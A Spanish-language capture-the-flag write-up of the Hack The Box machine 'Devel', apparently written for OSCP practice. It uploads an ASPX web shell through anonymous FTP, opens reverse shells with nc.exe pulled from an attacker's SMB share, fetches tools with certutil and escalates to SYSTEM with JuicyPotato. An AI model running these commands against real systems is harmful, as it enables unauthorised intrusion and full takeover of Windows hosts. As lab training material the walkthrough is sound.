Devel - Writeup

Devel - Writeup



Devel es una máquina Windows sencilla para empezar a aprender conceptos como la escalada de privilegios en este sistema operativo. Esto es importante para certificaciones como la OSCPdonde se requiere que tengas el rol NT AUTHORITY\SYSTEM para dar por concluida la máquina.

Reconocimiento Link to Reconocimiento

Empezaremos escaneando los puertos abiertos de la máquina Devel cuya IP es 10.10.10.5 con nmap.

BASH
1
2
3
4
5
6
7
8
9
10
11
12
13
14
sudo nmap -p- --open -sS --min-rate 5000 -Pn -n -v 10.10.10.5 -oG allPorts
Starting Nmap 7.93 ( https://nmap.org ) at 2024-12-26 11:32 CET
Initiating SYN Stealth Scan at 11:32
Scanning 10.10.10.5 [65535 ports]
Discovered open port 21/tcp on 10.10.10.5
Discovered open port 80/tcp on 10.10.10.5
Completed SYN Stealth Scan at 11:33, 26.79s elapsed (65535 total ports)
Nmap scan report for 10.10.10.5
Host is up (0.16s latency).
Not shown: 65533 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE
21/tcp open  ftp
80/tcp open  http

Ahora enumeramos los servicios que corren en estos puertos:

BASH
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
sudo nmap -sCV -p21,80 10.10.10.5 -oN targeted
Nmap scan report for 10.10.10.5
Host is up (0.10s latency).

PORT   STATE SERVICE VERSION
21/tcp open  ftp     Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 03-18-17  01:06AM       <DIR>          aspnet_client
| 03-17-17  04:37PM                  689 iisstart.htm
|_03-17-17  04:37PM               184946 welcome.png
| ftp-syst: 
|_  SYST: Windows_NT
80/tcp open  http    Microsoft IIS httpd 7.5
|_http-server-header: Microsoft-IIS/7.5
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-title: IIS7
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Como podemos observar, es una máquina Windows que tiene dos servicios: ftp en el puerto 21 y http en el puerto 80. Como aspecto a destacar, nmap nos reporta que el servicio ftp permite el login del usuario anonymous.

Si probamos a loguearnos podemos ver que sigue la estructura que nos encontramos en el puerto 80 correspondiente a http ya que como nos dice nmap es un Microsoft IIS.

Si probamos a subir un archivo de prueba:

BASH
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
ftp 10.10.10.5 21
Connected to 10.10.10.5.
220 Microsoft FTP Service
Name (10.10.10.5:yatodev): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> dir
200 PORT command successful.
125 Data connection already open; Transfer starting.
03-18-17  01:06AM       <DIR>          aspnet_client
03-17-17  04:37PM                  689 iisstart.htm
03-17-17  04:37PM               184946 welcome.png
226 Transfer complete.
ftp> put hola.txt
ftp> dir
200 PORT command successful.
125 Data connection already open; Transfer starting.
03-18-17  01:06AM       <DIR>          aspnet_client
03-17-17  04:37PM                  689 iisstart.htm
03-17-17  04:37PM               184946 welcome.png
12-26-24  05:43PM                   42 hola.txt
226 Transfer complete.

Si accedemos a http://10.10.10.5/hola.txt podremos ver el contenido del archivo. Por lo tanto podemos intentar a subir un archivo .aspx para obtener una reverse shell.

Explotación Link to Explotación

Si ejecutas locate .aspx | grep cmd podrás encontrar algunas web shells preinstaladas en tu Kali Linux o ParrotOS. En mi caso usaré aspx_cmd.aspx de el apartado de backdoors de davtest. Este mostrará un input para ejecutar comandos en la máquina víctima.

Una vez elegido el exploit, lo subiremos al servidor usando el servicio ftp.

Ahora compartiremos el recurso nc.exe en un servidor smb para entablar una reverse shell para mayor comodidad:

BASH
1
2
3
4
5
6
7
8
9
sudo impacket-smbserver smbFolder $(pwd) -smb2support
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed

Para encontrar el recurso nc.exe de tu Kali Linux o ParrosOS usa: locate nc.exe


Y nos pondremos en escucha por un puerto para recibir la reverse shell:

BASH
1
sudo rlwrap nc -nlvp 443

Ahora accedemos a http://10.10.10.5/aspx_cmd.aspx y ponemos el comando que usará este servidor de smb para usar el nc.exe:

BASH
1
cmd /c \\10.10.14.9\smbFolder\nc.exe -e cmd 10.10.14.9 443

Cambiar la ip 10.10.14.9 por la que tengas como atacante.


web shell


Ahora estarás dentro de la máquina Windows en la consola donde te pusiste en escucha con el puerto 443.

Escalada de privilegios Link to Escalada de privilegios

Si vemos nuestros privilegios con whoami /priv veremos que tenemos SetImpersonatePrivilege. Esto quiere decir que es vulnerable a JuicyPotato.

En mi caso lo descargué desde ohpe/juicy-potato.

Ahora hay que transferir nc.exe y JuicyPotato.exe a la máquina víctima. Para ellos nos movemos a c:\windows\temp\privesc para que no haya problemas de permisos.

Nos ponemos en escucha por el servicio http con python en la carpeta donde se encuentran los dos ejecutables:

BASH
1
sudo python3 -m http.server 80

Y los descargamos desde la máquina víctima con certutil.exe:

CMD
1
2
certutil.exe -f -urlcache -split http://<ip_atacante>/nc.exe nc.exe
certutil.exe -f -urlcache -split http://<ip_atacante>/JuicyPotato.exe JuicyPotato.exe

Una vez con los ejecutables en la máquina víctima, nos ponemos en escucha en la máquina atacante para entablar otra reverse shell (en mi caso usaré el puerto 4321):

BASH
1
sudo rlwrap nc -nlvp 4321

Y ahora usamos el JuicyPotato.exe en la máquina víctima:

CMD
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
JuicyPotato.exe -t * -l 1337 -p C:\Windows\System32\cmd.exe -a "/c C:\Windows\Temp\nc.exe -e cmd <ip atacante> 4321"
Testing {4991d34b-80a1-4291-83b6-3328366b9097} 1337
......
[+] authresult 0
{4991d34b-80a1-4291-83b6-3328366b9097};NT AUTHORITY\SYSTEM

[+] CreateProcessWithTokenW OK

c:\Windows\Temp>JuicyPotato.exe -t * -l 1337 -p C:\Windows\System32\cmd.exe -a "/c C:\Windows\Temp\nc.exe -e cmd <ip atacante> 4321"
Testing {4991d34b-80a1-4291-83b6-3328366b9097} 1337
...........................................
c:\Windows\Temp>JuicyPotato.exe -t * -l 1337 -p C:\Windows\System32\cmd.exe -a "/c C:\Windows\Temp\nc.exe -e cmd <ip atacante> 4321"
JuicyPotato.exe -t * -l 1337 -p C:\Windows\System32\cmd.exe -a "/c C:\Windows\Temp\nc.exe -e cmd <ip atacante> 4321"
Testing {4991d34b-80a1-4291-83b6-3328366b9097} 1337
......
[+] authresult 0
{4991d34b-80a1-4291-83b6-3328366b9097};NT AUTHORITY\SYSTEM

Habiendo hecho esto, seremos NT AUTHORITY\SYSTEM y podemos obtener la flag de user.txt:

CMD
1
2
3
4
5
6
7
8
9
10
11
12
13
C:\Users\babis\Desktop>dir

 Directory of C:\Users\babis\Desktop

11/02/2022  03:54 ��    <DIR>          .
11/02/2022  03:54 ��    <DIR>          ..
26/12/2024  12:32 ��                34 user.txt
               1 File(s)             34 bytes
               2 Dir(s)   4.692.750.336 bytes free

C:\Users\babis\Desktop>type user.txt
type user.txt
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

Y la flag de root.txt:

CMD
1
2
3
4
5
6
7
8
9
10
11
12
13
C:\Users\Administrator\Desktop>dir

 Directory of C:\Users\Administrator\Desktop

14/01/2021  11:42 ��    <DIR>          .
14/01/2021  11:42 ��    <DIR>          ..
26/12/2024  12:32 ��                34 root.txt
               1 File(s)             34 bytes
               2 Dir(s)   4.692.750.336 bytes free

C:\Users\Administrator\Desktop>type root.txt
type root.txt
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

Con esto concluye la máquina Devel. Si quieres más writeups de máquinas para la OSCP accede aquí: máquinas para la OSCP.